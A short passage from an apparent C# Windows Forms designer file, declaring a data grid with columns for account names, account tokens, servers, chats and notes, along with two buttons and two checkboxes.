208 | #endregion 209 | 210 | private System.Windows.Forms.DataGridView dataGridView1; 211 | private System.Windows.Forms.DataGridViewTextBoxColumn accName; 212 | private System.Windows.Forms.DataGridViewTextBoxColumn accToken; 213 | private System.Windows.Forms.DataGridViewTextBoxColumn servName; 214 | private System.Windows.Forms.DataGridViewTextBoxColumn servChat; 215 | private System.Windows.Forms.DataGridViewTextBoxColumn notes; 216 | private System.Windows.Forms.Button button1; 217 | private System.Windows.Forms.Button button2; 218 | private System.Windows.Forms.CheckBox checkBox1; 219 | private System.Windows.Forms.CheckBox checkBox2; 220 | private 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